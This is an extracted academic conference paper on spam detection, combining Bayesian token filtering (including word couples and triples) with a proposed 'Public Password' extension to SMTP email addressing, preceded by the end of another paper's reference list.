R. Kruger and J. Eloff. A Common Criteria Framework for the Evaluation of Information Technology Security Evaluation. In IFIP TC11 13th International Conference on Information Security, (1997), 197–209. Mazieres, M. Kaminsky, M. F. Kaashoek, and E.Witchel. Separating Key Management from File System Security. In Proc. 17th Symp. on Operating Systems Principles, Kiawah Island, (1999), 124–139. F. H. Lochovsky , C. C. Woo, Role-based security in data base management systems, on Database Security: Status and Prospects, Annapolis, Maryland, USA, (1988), 209-222. P. Bieber, D. Raujol, P. Siron "Security Architecture for Federated Cooperative Information Systems " 16th Annual Computer, Security Applications Conference ACSAC'00, New Orleans, USA, 2000. Matunda Nyanchama , Sylvia L. Osborn, Access Rights Administration in Role-Based Security Systems, Proceedings of the IFIP WG11.3 Working Conference on Database Security VII, (1994), 37-56. Matunda Nyanchama , Sylvia Osborn, The role graph model and conflict of interest, ACM Transactions on Information and System Security, 2, (1999), 3-33. P. Bieber, J. Cazin, A. El Marouani, P. Girard, J-L. Lanet, R. Muller, V. Wiels, G. Zanon "Detecting illegal information flow using abstract interpretation and model checking " Gemplus Developer Conference, Montpellier, France, 2000. K. Takaragi, K. Miyazaki, and M. Takahashi, “A threshold digital signature issuing scheme without secret communication,” IEEE P1363 Study, 2000.
154 [9] [10] [11] [12] [13] [14]
[15] [16] [17] [18] [19] [20] [21] [22] [23]
[24] [25] [26] [27] [28] [29] [30]
[31]
[32] [33] [34] [35]
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications F. Cuppens, R. Ortalo "LAMBDA : a language to model a database for detection of attacks", 3rd International Workshop on Recent Advances in Intrusion Detection, Toulouse, France, 2000. R. Sandhu and G.-J. Ahn. Decentralized group hierarchies in UNIX: An experiment and lessons learned. In National Information Systems Security Conference, 1998. D. Ferraiolo, J. Cugini, and D. Kuhn. Role-based access control (RBAC): Features and motivations. Proceedings 11th Annual Computer Security Applications Conference, 1995. L. Hua and S. Osborn. Modeling UNIX access control with a role graph. Proceedings of International Conference on Computers and Information, 1998. Sylvia Osborn , Yuxia Guo, Modeling users in role-based access control, Proceedings of the fifth ACM workshop on Role-based access control, Berlin, Germany, (2000), 31-37. Sylvia L. Osborn , Laura K. Reid , Gregory J. Wesson, On the interaction between role-based access control and relational databases, Proceedings of the tenth annual IFIP TC11/WG11.3 international conference on Database security: volume X : status and prospects: status and prospects, Como, Italy, (1997), .275-287. Ravi S. Sandhu , Edward J. Coyne , Hal L. Feinstein , Charles E. Youman, Role-Based Access Control Models, Computer, 29 (1996), 38-40. T. Pedersen, “A threshold cryptosystem without a trusted party,” in Advances in Cryptology, Proc. Eurocrypt’91, ser. LNCS, Springer Verlag, 547 (1991). Herzberg, M. Jakobsson, S. Jarecki, H. Krawczyk, and M. Yung, “Proactive public key and signature systems,” ACM Conf. on Computer and Comm. Security, Zürich, 1997. R. Gennaro, S. Jarecki, H. Krawczyk, and T. Rabin, “Robust threshold DSS signatures,” Advances in Cryptology, Proc. Eurocrypt’96, ser. LNCS, Saragossa: Springer-Verlag, 1070 (1996), 354–371. L. Zhou, F. B. Schneider, and R. van Renesse, “COCA: A secure distributed on-line certification authority,” ACM Trans. Computer Systems, 20 (2002), 329–368. Bakker, M. van Steen, and A. Tanenbaum, From Remote Objects to Physically Distributed Objects, Proc. 7th IEEE Workshop on Future Trends of Distributed Computing Systems, December 1999, 47–52. Foster, C. Kesselman, G. Tsudik, and S. Tuecke. A Security Architecture for Computational Grids. Proc. ACM Conference on Computer and Communications Security, San Francisco, CA, (1998), 83–92. H. Hine,W. Yao, J. Bacon, and K.Moody. An architecture for distributed OASIS services, Proc. Middleware 2000, Hudson River Valley, NY , (2000), 104–120. Leiwo, C. Hanle, P. Homburg, C. Gamage, and A. Tanenbaum. A Security Design for a Wide-Area Distributed System, Proc. Second International Conference Information Security and Cryptology, Springer, 1787 (1999), 236–256. R. L. Rivest and B. Lampson. SDSI – A Simple Distributed Security Infrastructure. CRYPTO’96 Rumpsession, 1996. W. A. Wulf, C. Wang, and D. Kienzle, A New Model of Security for Distributed Systems, Technical Report CS-95- 34, 10, 1995. P. Bieber, P. Siron "Security architectures for COTS based distributed systems " IST Symposium. Istanbul, Turquie, 7-15 octobre 2000 van Steen, A. Tanenbaum, I. Kuz, and H. Sips, A Scalable Middleware Solution for Advanced Wide-Area Web Services, Distributed Systems Engineering, 6 (1999), 34–42. Y. Desmedt and S. Jajodia, “Redistributing secret shares to new access structures and its applications,” George Mason Univ., Tech. Rep., 1997. L. Zhou and Z. J. Haas, “Securing ad hoc networks,” IEEE Network, 13 (1999), 24–30. J. Kong, P. Zerfos, H. Luo, S. Lu, and L. Zhang, “Providing robust and ubiquitous security support for mobile ad-hoc networks,” Proc. 9th International Conference on Network Protocols, Riverside, California, Nov. 2001, 251–260. F. Stajano and R. Anderson, “The resurrecting duckling: Security issues for ad-hoc wireless networks,” Proc. 7th International Workshop on Security Protocols, ser. LNCS, Springer-Verlag, 1796 (1999), 172– 194. The Common Object Request Broker: Architecture and Specification, revision 2.6. www.omg.org,. OMG Document formel /01-12-01, 2000. CORBA Security Service Specification, Version 1.7. www.omg.org, Document Formal/01-03-08, March 2001. L. Gong. Inside Java 2 Platform Security, Addison-Wesley, Palo Alto, CA 94303, 1999. K. Reiter and A. D. Rubin, Anonymous Web transactions with Crowds, Communications of the ACM, 42 (1999), 32–48.
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
155
Spam Detection and Email Classification Shahin SHAKERI1, Paolo ROSSO1, 2 Mediterranean University of Science and Technology, Departmento de Sistemas Informáticos, Edificio Galileo Galilei Avda. de los Naranjos, s/n - 46 022 Valencia, Spain 2 Departmento de Sistemas Informáticos y Computación, Universidad Politécnica de Valencia, Camino de Vera, s/n - 46 022 Valencia, Spain EMAILS: [email protected]; [email protected]
1
Abstract. This paper presents an extension of BSP anti-spam project [0] which is a context-based solution to filter spam and a SMTP procedure modification which can classify emails right after they get into the user inbox. Filtering is based on a multilevel statistical approach to assign a probability to an email tokens taking into consideration their occurrence in previous emails. In addition, we suggest a modification on the SMTP email protocol procedure in order to reduce the size of the problem. Keywords. Spam Filter, Bayesian Method, Email Protocol
1. Introduction The developments of computerized networks systems during past decades and Internet in particular considerably have facilitated our communications, but also have brought us new issues and obstacles. Today one of the main applications of Internet is the exchange of electronic mails. Email has enabled us to exchange data and information at the speed of computers. Fast communication is not the only distinction of email; using email is extremely cheap and it is available to everybody anywhere. Other advantage of using email is the freedom of speech: nobody owns the email system and it is totally decentralized. Putting all these pieces together, it seems that email is able to identify itself as a reliable service and has substituted the old means of communications to a large extent until spam put a serious question mark on the future of email. Spam, or un-solicitude email, is one of the major difficulties that email users must deal with. As a victim of spamming, an email user may receive up to hundreds of un-solicitude emails a day. The contents of these emails can vary but normally spams are the emails which are sent to advertise a certain product or service on the Internet. However, not every unwanted email is a spam. There are two main reasons to fight against spams. The first reason is they are costly to the users. spams steel the users’ bandwidth and also excluding them from legitimate is a time consuming process. In 2003 San Francisco research company, Ferris Research, estimated the total cost of spam to U.S. corporations reached 8.9 billion dollars ($8,900,000,000) in lost productivity[1]. The second reason is the out of control content of unsolicited emails. Spams make the email system unsafe for younger email users and in general they decrease the reliability of email systems. The set of introduced information in a spam, apart from the fact that it usually reaches to the not interested and appropriate user, is not trustful. Purchasing the products and services advertised by spam or exposing personal information in reply to a spam– Nigerian Spam- can bring serious consequences to the user. A study [2] done by Federal Trade Commission of US on 1,000 pieces of unsolicited commercial email, randomly drawn from a pool of over 11,000,000 pieces of spam showed 66% of them contained falsity in "From" lines, "Subject" line, or the body section. In the next section we discuss the background and motivation of our work. In section three the antispam filter is described. In the fourth section we illustrate a novel SMTP modification. Finally, the conclusions are drawn and the further work is discussed.
156
S. Shakeri and P. Rosso / Spam Detection and Email Classification
2. Background The encyclopedia Wikipedia defines [3] the term spam “a canned pork product made by the Hormel Foods Corporation that has entered into folklore”. A Hormel official once stated that the original meaning of the name SPAM was "Shoulder of Pork And haM", and The current official expansion is the acronym "Specially Processed Assorted Meat" There are different stories on how the term spam was involved in computer communications. Templeton’s research [4] shows the use of term “spam” goes back to the late 1980s and the Multi-User Dungeon (MUD) community. The term spamming was used to describe flooding a computer with too much data to crash it or flooding a chat session with a bunch of text inserted by a program or just by inserting a file instead of typing the output. The other application of the term was to "spam the database" by having a program create a huge number of objects, rather than creating them by hand. In 1994 the term “spam” even became more common when people used it to refer to those Figure 2.1 Original Spam Can emails on USENET (the world's largest online conferencing system at that time) that advertised some services and businesses. It seems that today’s stage of spam problem has brought a serious challenge to the Internet environment. The fact is that by occupying more than 65% of whole transferred emails [5], spams in reality broke done expected standards of user’s convenience or better privacy, which initially was desired by Internet and in this particular case by Electronic Mail founders. With respect to the state of the art of anti-spam activities, although they have been able to decrease the size of the problem in some cases, there is no a final solution for the spam problem at the moment. Spamhaus [6] project has revealed that 200 known spammers are responsible for 80% of transferred spams around the world, regarding to this fact It is quite probable that the final solution goes behind the technical scope and enters the social and legal territories. The aim of the anti-spam system we developed is to stop or significantly decrease the amount of received spams with the lowest possible false positives. In order to achieve this goal, a multilevel statistical approach operates over individual user’s inbox. This means all emails received by user’s mail server, whether be spam or not, reach the user’s inbox and the filtering operation is done at the very end. This is what happens in most of today’s real situations. It is remarkable thatt recently the use of White and Black Lists has reduced the size of delivered spams to the user’s inbox. Unfortunately, the preparation of those lists is experimental and has a high rate of false positives; therefore, it cannot be considered as a trusted solution. We suggest a simple modification on the Simple Mail Transfer Protocol (SMTP) [7] procedure to perform the classifying not at the very end but where the message is originated to distribute the problem. Unlike other SMTP modifications that may require main changes, our suggestion does not require restructuring the whole architecture and is based on using wised command argument for existing SMTP commands.
3. Spam Detection and Email Classification The anti-spam techniques described here present a context-based solution to filter spam and a SMTP procedure modification which can classify emails right after they get into the user inbox. Filtering is based on a multilevel statistical approach to assign a probability to an email tokens taking into consideration their occurrence in previous emails. In addition, we suggest a novel approach based on an extension of the mail server functionality that helps reducing the amount of spam received. The solution consists on extending the e-mail address format so that the sender needs to know more information than just the e-
S. Shakeri and P. Rosso / Spam Detection and Email Classification
157
mail address to be able to send an e-mail to a recipient. Although changes are required in the mail server to provide some extra functionality, the modifications are transparent to the sender, who does not need to be aware of the changes. 3.1. Statistical approach A judgment needs to be made for each email we receive in order to classify it as spam or not. This could be done by considering previous received emails. Emails will be evaluated by looking at the tokens they contain and then they will be classified into levels: spams are at the bottom and nonspams are at the top. We call every token forming an email an emailWord. When we receive a new email, if we know the probability and correlation of spamicity of its emailWords P(e), we can determine whether it is a spam or not. We assume the email as a container of emailWords. As the first step, we calculate the individual probabilities P(ek ) for every emailWord. Finally, in order to find the total probability we need to combine all the individuals ones (Eq.1): Eq. (1)
P(e1 , e2 , en ) = P(e1 ) ∩ P(e2 )∩ …∩ P(en )
Within an email (or a collection of emails) words, email addresses, HTML tags, links and so on are emailWords that have several attributes: • Position: Subject, Sender, Receiver, body plus html part; • Rate: to determine how many times the word is repeated (repeated occurrences of a certain word in the same position will be omitted); • Coefficient: to calculate the probability of being a spam for an email containing this word; • Type: Red (bad), Green (good) or Neutral. Tokens will be obtained by tokenising the whole email using the characters , . “() - as delimiter strings. HTML comments are ignored since they do not make sense to be a part of an email and can be abused by spammers. Numbers are not considered as a token except IP addresses and prices. To calculate the probabilities P(en) the Bayesian theorem is employed which uses the knowledge of prior events to predict future events. The Bayesian theorem is a statistical approach which allows for calculating the probability an event a occurs in condition of b, P(a | b), if the probabilities P(b | a) , p(a) and P(b) are known (Eq.2)[8]: Eq.(2)
P (a | b) = P (b | a) × P (a) / P (b)
Let us apply this Bayesian approach to our algorithm. Although Bayesian filtering is quite common but Bayesian filters contribute individual probabilities as independent estimates when in reality the tokens within an email are correlated. In our approach we try to determine how to satisfy the Bayesian assumption of independency of probabilities (spaminess of tokens) within an email in a different way. We obtain the corresponding probability of an emailWord in an exclusive multi-layer way taking into consideration the token itself and its neighbors; then we suppose that they are independent estimations of how likely the email is a spam or not. In the following sections it is explained that how with couples and triples we have already taken into account the correlation of tokens and, therefore, assuming them as independent estimates does not revoke the above assumption. Having been our emails divided into spams and nonspams, we count the number of emails that contain a certain emailWord e in each category (i.e., spam or nonspam) and divide it by the number of emails that each category has ( Pspam(e) and Pnonspam(e)) . To determine whether an email containing e is a spam or not, the Bayesian formula can be approximated to:
158
S. Shakeri and P. Rosso / Spam Detection and Email Classification
Eq.(3)
P spam(e) ______________ P nonspam(e) + Pspam(e)
If the emailWord e has appeared only in spams it gets the highest probability and if it only has appeared in legitimates it gets the lowest (existing) probability. In bigger corpora we ignore single occurrence of emailWords. When we receive an email, after tokenising it into emailWords, we pick up those words with the highest distance from neutral probability which is equal to 0.5. In order to decrease the effect of long emails and also the text-appending trick by spammers, it is sufficient to take into account 20 (or less if the email contains fewer words) emailWords will be sufficient. The next step is to know whether there is any correlation between these emailWords. This correlation increases or decreases the spamicity of the email. In other words, instead of looking at individual words we want to know if their combination could indicate the validity of the email. Usually spammers are very careful about using black words. They try to avoid them by misspelling, but almost the rest of the words remain unchanged. Therefore we can interpret the words looking at their neighbours. This is also true for polysemic words (i.e. with different meaning in the sentence they occur in). In order to calculate the combination of words’ probabilities, we use the Bayesian theorem on the couples and the triples of the emailWords. Although it seems to be logical considering the whole email to find the correlations between emailWords, some preliminary experiments we carried out showed that expanding this method for more than three emailWords does not significantly improve the results. The correlation between emailWords which co-occur in a sentence (a sentence accepts HTML tags as verbal part and it can also violate some syntax norms) can be ignored if they are located outside a certain distance from each other. This guaranties that the spam filter will not be affected by appending random text to the email. In order to form its set of couples for a given suspicious emailWord, we pick up those emailWords up to 3 emailWords distance on its left and on the right from the beginning point (repeated couples do not count). We form the triples for a suspicious emailWord, in a similar manner, including the emailWords we obtained in the previous step (see Figure 3.1). In this way, we do not obtain the exact intersection probability but an approximation to it.
MAXIMIZE YOUR MARKKETING DOLLARS!
Individual : MARKKETING Couples of the First Neighbor on the Left: (YOUR, DOLLARS!) (DOLLARS! , ) ...
Couples of the First Neighbor on the Right: (MAXMIZE, YOUR) (YOUR, DOLLARS! )…
Triples on the Left: (YOUR, DOLLARS!,
) ,(MAXIMIZE, YOUR , DOLLARS!)
Triples on the Right: (MAXIMIZE, YOUR, DOLLARS!), (font color = "#44C300" size ="+2">, YOUR, DOLLARS!)
Figure 3.1- Example of parsing the email to couples and triples (markketing is intentionally misspelled)
S. Shakeri and P. Rosso / Spam Detection and Email Classification
159
Figure 3.1 shows how misspelling words indicate that email is likely spam. Misspelled words receive a higher probability of “spaminess” respect to the appropriately spelled ones. Our filter takes into account the word itself and its neighbors to determine the corresponding spaminess. The following example shows how misspelling the words backfires the spammer. The spaminess of the word “Markkeing” is higher where it is misspelled.
First we find the related probability from the training corpus using the Bayesian approach. To obtain this information we build the tables of couples and triples only for the emailWords whose probability is greater than 0.99 or less than 0.1 (in order to avoid false positives). In a new email, up to 50% of couples and 80% of triples of emailWords could turn out to occur for the first time. Therefore, there are not taken into account by our anti-spam algorithm (the smaller remaining portion works fine and it gives sufficient accuracy). Finally when you have the individual, double and triple probabilities we combine them to obtain a measure to verify whether an email is a spam or not. In order to calculate the final probabilities for each emailWord, first we need to combine the probabilities of triples and couples. For instance, the probability P’couple(e) for each couple is calculated considering also the probability Pcouple(e) which was previously obtained by the Bayesian approach (Eq.4): (s * t) + (n * Pcouple(e)) Eq. (4)
P’couple(e) = s+n
where: •
s is the strength (from 1 to a maximum value) we want to give to triples probabilities;
•
t is our background probability, obtained by combining triple probabilities;
•
n is the number of e-mails we have received which contain e.
In a similar manner, we combine the probability of couples to calculate the probability of each emailWord; then we combine the probability of the emailWords to find whether the email is a spam or not. There are different approaches to combine these probabilities. A simple and effective option is to add the probabilities and then experimentally scale the result between zero and one. To normalise this number in the range of 0-1 in order to get a more accurate result, we can use the Fisher’s theorem [9]. Every emailWord, couple or triple in an email contributes, through its P(e) value. We suppose that they are independent estimations of how likely the email is a spam. We should notice that by couples and triples we have already taken into account their correlation. Therefore assuming them as independent estimates, does not hurt the above assumption. This is like considering sentences of a text independently from each other. Basically Fisher says that if one has a number k of independent estimates of probability, and the null hypothesis (k values are pure chances) is true, then the sum of natural logarithms of the k estimates multiplying by -2 will be distributed as chisquared with 2k degrees of freedom. We use our P(e) values to calculate the sum with twice the number of our selected emailWords as the degrees of freedom. Applying an inverse chi-squared (prbx) function gives us the probability that a email is a spam (Q indicator). We also use the opposite probabilities (1 – P(e)) to calculate in a similar way that a message is nonspam (P indicator). Finally, the value obtained by the previous calculations indicates whether an email is a spam or not (S indicator). This is illustrated in Eq.5:
Eq. (5)
P = prbx(-2 * sum(ln(1-P(e))), 2*n) Q = prbx(-2 * sum(ln(P(e))), 2*n) S = (1 + Q - P) / 2
160
S. Shakeri and P. Rosso / Spam Detection and Email Classification
3.2 SMTP Modification The main objective of a spam filter is classifying received emails. What makes spam email classification complex is that messages arrive in any order and at any time, and moreover spam usually carries the indication of legitimate emails. Spam abuses the SMTP, which is implemented based on RFC 524[11] standards. The early version of RFC 524 has been developed in 1973. The security level in the command set of RFC 524 is not effective enough in order to be used to stop spam and even it provides convenience to spammers. Thanks to Security holes in SMTP spammers can easily forge email headers, hide behind different sender names and make it quite impossible to track down the real sender of massive bulk messages. Since the problem has emerged, many modifications have been proposed on SMPT procedure to cover the security issues and make it safe and spam free. The problem with new protocol standards is that it needs to be widely implemented in every mail agent to be effective. Unfortunately many systems have already been developed based on the old standards and a modification on old legacy systems is not feasible. Let us illustrate the situation based on existing SMTP model (see Figure 3.2). Emails reach the SMTP receiver in no order at any time. Note that the authorisation is granted to any SMTP sender to deliver messages to a SMPT receiver for any existing local user on the system or ask for relying to another destination if it is possible. Once the user logs into his/her account (this time using another protocol which requires authentication) on the SMTP receiver, normally all the related messages are moved to the user’s machine. The user verifies the emails and may remove the spams and keep the legitimate ones, even among those may remove some and organise the rest into separated folders.
User
File System
SMT P Sender
SMTP Receiver SMTP Commands/ Replies and Mail
File System
Figure 3.2- SMTP Model
What does not sound correct is that messages, unlike the users, do not need any authentication to get to the users’ inbox. Obviously there is a difference between these two accesses, users have the privilege to read and senders can only write. This cannot justify granting the writing privilege to all solicitants. This way the mail server storage space may convert to a public FTP server for spammers and users could start receiving “un-solicitude” emails! We can appreciate senders cannot read what they or others write, but that is not enough (they really do not care if they cannot read what they or the other write) To start spamming, spammers need a “To-List” where they store all spam recipient email addresses. There are different ways for a spammer to obtain such a list: compiling the web pages containing contact information, purchasing it from the web sites with flexible policies, sharing a list with another spammer or simply sending it to all possible account on a specific domain name. The rest of the spamming process is easy: spammers introduce the “To-List” to spamming software to be sent. Depending on the spammer, the software may forge the email header (to keep the spammer anonymous), change the appearance of the words in a way that they still can be read by a person, add a chuck of random words to full around filters or apply any other unknown tricks on the message. Then the prepared spam will be sent to all destinations on the “To-List”. Without a reliable “To-List” spamming is not feasible and all sent messages will be bounced back.
S. Shakeri and P. Rosso / Spam Detection and Email Classification
161
What we suggest here is embedding a “Public Password” within the application header of email by the sender that will help the end user to classify the message. Although the message still will be received without a Public Password, but it will be classified as un-solicitude email. Public Password in fact is a keyword selected by the user to classify the message at the origin. Depending on different user’s topics of interest, s/he picks up different Public Passwords and distributes them with his email address, even he may keep secret some of them for his/her special contacts. For example: for Bill Gardener (the user of [email protected]) topics of interests are family, work and sport. Respectively, he could choose “TheGardeners”, “BillsOffice” and “BillsGolf” as Public Passwords for each topic and asks the rest of the people to first include the Public Password in the subject of their email following with “@” when they write to him. For this purpose he mentioned this on his visit card, and even on his personal web page and warned them he might not read the messages without a Public Password. Bill writes a small program that parses the subject of the message and depending on the first token before the first “@”, copies the rest of the message to different folders. If no token is found, the message will be copied to a folder called un-solicitude. The same if the same message is sent several times with different Public Passwords. Within the application Bill can assign a certain email address to a folder. Therefore, even if later an email does not include the Public Password or if Bill changes the Public Password, the email still will go to the same folder. The same way he can restrict the other emails to enter that folder even if they contain the Public Password. Bill even may keep secret some of Public passwords for his special contacts! Now Bill’s email address for his family member is TheGardeners@[email protected] and they know they have to include the first token in subject of the email. In the same way, his colleagues know they have to send their emails to theOffice@[email protected] . As topic of interests and Public Passwords differ for each user, it is impossible for the spammer to figure out individual user’s favorite Public Password with crawling web pages. Sending the email to all or some topic of interests does not help either because the same message with different Public Password is discarded. Quite evidently the possibility of a random Public Password to work is zero. Using the Public Password in practice is very simple. The current format, name@domain is extended to include another field which is the Public Password. The new format for the e-mail addresses will then be @@<doamin>. This technique extends the receiving functionality of the mail server as follows: •
The server will contain a list of Public Passwords for every mailbox. The user will have full control over his/her list.
•
The server is provided with an e-mail address parsing functionality so that the name can be extracted from a recipient address which has the format @@<doamin>.
To send an e-mail, the sender needs to know one of the Public Password for the recipient, and add it at the front of the e-mail address followed by the character *. When the mail server receives the e-mail, it will use the new parsing functionality to determine the mailbox the message has been addressed to. Then it will check if the Public Password provided by the sender is in the list of Public Passwords for that recipient. If this is the case, the message will be stored in the server; otherwise the message will be discarded. 3.2.1 Advantages and Improved Performance compared to Email Alias: Email alias and PPW (Public Password recommended by this paper) may seem to be similar, but they are two different techniques to fight spam. PPW comprises far better advantages than email alias: • PPW is a one-time verification system meaning that once a sender has been identified as a legitimate sender or spammer, it is always classified the same way whether it contains a PPW or not. However a user may manually change this classification at anytime. This feature allows the user to remove a PPW and set a new one when being spammed without loosing the legitimate emails sent to the removed PPW. In case some are not aware of the new PPW and send their
162
S. Shakeri and P. Rosso / Spam Detection and Email Classification
emails to the removed PPW (for the first time), they will receive an auto-reply with the new PPW. Experience has shown that the replies do not get to the spammers because they forge the sender identification in the email header to remain anonymous and cannot be reached. Furthermore processing the auto-replies to extract possible PPW is not practical and makes spamming nonprofitable. Moreover, for higher security measures PPW in auto-reply can be easily encrypted in a picture format which is only readable by a human being. In a similar situation when a user starts receiving spam on an email alias, the solution is to remove the email alias itself. It means no email will be received on the removed alias whether is legitimate or not. Removing an email alias can cause a high rate of false-positive. To illustrate the problem see the following example: Dr. Arthur creates an email alias on his personal email account to communicate with his students. He gives the alias to his fellow students and the communication goes fine for a while until he starts receiving killing spam from this alias email. The solution available via email alias is to remove the alias and possibly create a new one to announce. This is not desired by Dr. Arthur because he has used his email alias over a period of time and he may not be able to let everybody know his email has changed. Still there will be people who may communicate with him through the old contact information. Therefore, removing the email alias will bring a high percentage of false positive and it is not effective. In a similar situation, Dr. Arthur uses a PPW. After receiving a considerable amount of spam, he discards all the spam, removes the PPW, creates a new one and announces it. In this case he is still able to receive emails from senders who ever sent a legitimate email to him whether it contains the new PPW or not. For those senders who are not aware of the PPW change and send an email for the first time with the old PPW, an auto-response is generated with the new PPW in picture format which only can be read by a human being. • Limitations apply to email alias. Normally it is not allowed to use more than three email aliases on an email account. Conflicts with other accounts may occur and, therefore, setting email aliases is due to the approval of the email server. PPW are unlimited and personalized. Due to the structure of PPW, no conflict can occur choosing a specific PPW. Additionally PPW manipulation requires no server processing. • Time-slicing technique offered by PPW cannot be implemented with email alias. Timeslicing enables the user to not only introduce a constant value for PPW but define a format or a function for PPW which varies over a period of time or events. The following example illustrates how a time-slicing technique works in large extents: Company Ώ offers technical support to its customers through an email address. The company receives a considerable number of spams on daily bases and cannot function properly, therefore, the tech support team decides to use timeslicing technique implemented in PPW. They set the new PPW to be [date]@[email protected] where [date] is the date when the email is sent in MMDDYYYY format in Pacific Time. Emails which do not contain actual date or do not carry this format are discarded and an auto-response is generated to warn about the required format. Spamming time-slicing email addresses requires the format function to be extracted from the describing text of each individual email. In spam term (millions of emails) this process – if possible- requires high artificial inelegance and processing power which impose huge costs to spammers and make spamming not profitable. Additionally, the following achievements can be credited to the suggested modifications: •
• •
“To List” elimination: The first achievement is related to the simplicity to parse e-mail address from Web pages. With the proposed approach, the probability for the Public Passwords to be parsed from the content of the page is reduced considerably. Users can easily generate a Public Password to use for registration procedure in unknown net zones Tracing: If spam is received, the original source where the password was originally provided can be identified. This issue is relevant from a legal perspective. Instant spam removal When the user detects that s/he is receiving spam messages, the Public Password causing the problem can be identified and removed from the list.
163
S. Shakeri and P. Rosso / Spam Detection and Email Classification
• •
Transparency: It is not necessary to modify the sender applications. The sender does not need to be aware of our server extensions. Only the mail server at the receiving side needs to be extended with the new functionality mentioned above. Classification purposes: The Public Passwords can also be used for classification purposes. On an IMAP (Internet Message Access Protocol) server, functionality can be added so that the user can associate each Public Password to a folder. Messages will then be sent to the appropriate folder depending on the Public Password provided by the sender, and to a default folder if the Public Password is not found in the list. On an SMTP based mail server, this modification should be done at the mail client side.
4. Testing and Experimental Results 4.1. Bayesian Filter This section involves the implementation of the statistical approach that was stated earlier. To perform this experiment, we used a test corpus of 3648 non-spam and 3156 spam emails to train the Bayesian filter. The corpus was obtained through the spamassassin[10] and a personal mailbox. These emails were divided into four mailboxes in this order: Mailbox:
Non- Spam
Spam
1
1014
319
2
997
1002
3 4
1133 504
1616 219
Table 4.1 Email Distribution
To avoid biasing the sample population reflects there possible cases where the number of spam is less, equal or bigger than the number of non-spam. Additionally unlike the first three mailboxes, the fourth mailbox has been fed from a personal mailbox. This is useful to indicate how the filter can adapt itself to the individual cases. The experiment was carried out over a corpus of 2224 messages that contained the same number of spam and non-spam. The results are reflected in the tables below. The columns show the number of iterations of training and the numbers of non-spam and spam that were wrongly classified and were therefore used in the next round of training; the right-hand two columns show the same results in percentage. Iteration 0 1 2 3 4 5 6 7
False Positive 3 1 2 1 1 0 0 0
False Negative 73 64 52 40 46 39 35 33
FP Percentage 0.269784173 0.089928058 0.179856115 0.089928058 0.089928058 0 0 0
Table 4.2 Results on the 1st mailbox
FN Percentage 6.564748201 5.755395683 4.676258993 3.597122302 4.136690647 3.507194245 3.147482014 2.967625899
164
S. Shakeri and P. Rosso / Spam Detection and Email Classification
Graph 4.1 10 Percentage
8 6 4 2 0 0
1
2
3
4
5
6
7
False Positives vs False Negative FP Perrcentage
FN Percentage
Figure 4-1 FP vs. FN 1st Sample
Iteration 0 1 2 3 4 5 6 7
False Positive
False Negative 66 54 49 40 37 41 31 29
5 3 2 2 5 1 0 0
FP Perrcentage 0.449640288 0.269784173 0.179856115 0.179856115 0.449640288 0.089928058 0 0
FN Percentage 5.935251799 4.856115108 4.40647482 3.597122302 3.327338129 3.68705036 2.787769784 2.607913669
Table 4.3 Results on the 2nd mailbox
Percentage
Graph 4.2 7 6 5 4 3 2 1 0 0
1
2
3
4
5
False Positiv es v s False Negativ e FP Perrcentage
FN Percentage
Figure 4-2 FP vs. FN 2nd Sample
6
7
165
S. Shakeri and P. Rosso / Spam Detection and Email Classification
Iteration
False Positive 0 1 2 3 4 5 6 7
False Negative 53 44 32 30 35 40 31 33
4 3 3 2 3 1 1 1
FP Percentage 0.35971223 0.269784173 0.269784173 0.179856115 0.269784173 0.089928058 0.089928058 0.089928058
FN Percentage 4.76618705 3.956834532 2.877697842 2.697841727 3.147482014 3.597122302 2.787769784 2.967625899
Table 4.4 Results on the 3rd mailbox
Graph 4.3 6 Percentage
5 4 3 2 1 0 0
1
2
3
4
5
6
7
False Positives vs False Negative FP Perrcentage
FN Percentage
Figure 4-3 FP vs. FN 3rd Sample
It can be observed that training on error does not significantly decrease the percentage of false negatives after the Iteration 3. However the false positive rate can be minimized in further iterations. Moreover the distribution of spam and non-spam contributes in the performance of the filter.
Iteration 0 1 2 3 4 5 6 7
False Positive 2 0 0 0 0 0 0 0
False Negative 19 11 6 0 0 0 0 0
FP Percentage 0.492610837 0 0 0 0 0 0 0
Table 4.5 Results on the personal mailbox with a corpus of 812 messages
FN Percentage 4.679802956 2.709359606 1.477832512 0 0 0 0 0
166
S. Shakeri and P. Rosso / Spam Detection and Email Classification
Graph 4.3
Percentage
5 4 3 2 1 0 0
1
2
3
4
5
6
7
False Positives vs False Negative FP Perrcentage
FN Percentage
Figure 4-4 FP vs. FN 4th Sample
It can be observed that training on messages that belong to a single mailbox can improve the performance of the filter.
4.2. SMTP Server Modification To perform the experiment on the SMTP modification that we have suggested earlier, we used Java Apache Mail Enterprise Server (JAMES)[12]. This is a mail engine solution written in Java based on currently available open protocols (SMTP, POP3, IMAP and NNTP). There are some classes to be changed in order to make the JAMES server able to pars incoming mail address taking into consideration the @@<domain> format. Simply after receiving an email, JAMES server copies it into the related folder based on PPW field and if it is null, the email goes under un-solicitude folder and a notification will be send to sender to reduce the false positives. Quite evidently, feeding the modified JAMES server with messages who contain the PPW (or not), can classify the emails into folders and separate the un-solicitude ones. The key point using this method is choosing the proper PPW fields to get the highest result. For the people who receive few legitimate emails a day from known senders this technique seems to be fully functional and discards unwanted spams, but for example, a technical support department who receives hundreds of emails per day from various senders, simply setting a couple of PPWs will not work because many emails will be received under the same directory and also tracking the emails are not feasible. In this case setting a particular PPW that expires can resolve the problem. For instance, in the above example the PPW can be set to the combination of the issue name and actual month. (i.e. JamesInstallation-June@account@domain). When the month is over, its PPW expires and the related PPW to actual month will be activated. A one day delay may be considered when both PPWs are valid.
5. Conclusions An Overall performance of filtering 98.7% spam and 0.5% of false positives with a minimum deviation of 0.05 (95% confidence level) was estimated for the suggested statistical approach. We concluded that distribution of spam and non-spam tokens has a direct effect on the performance of the statistical approach and using personal messages for training the Bayesian filter significantly increases the
S. Shakeri and P. Rosso / Spam Detection and Email Classification
167
performance of the system for individuals. Training on error, does not make a significant improvement after the third iteration of this statistical approach. Further investigation is necessary to configure this filter for multilingual messages. Implementing the suggested SMTP modification is relatively easy and transparent to the senders. When emails arrive they are classified into expected/ not expected groups with a minimum cost for the receiver. Auto-Expire PPWs can assure that the email address cannot be stored and abused.
6. Acknowledgments This work was made possible thanks to the R2D2 (CICYTTIC2003-07158-C04-03) and ICT EU-India (ALA/95/23/2003/077-054) research projects.
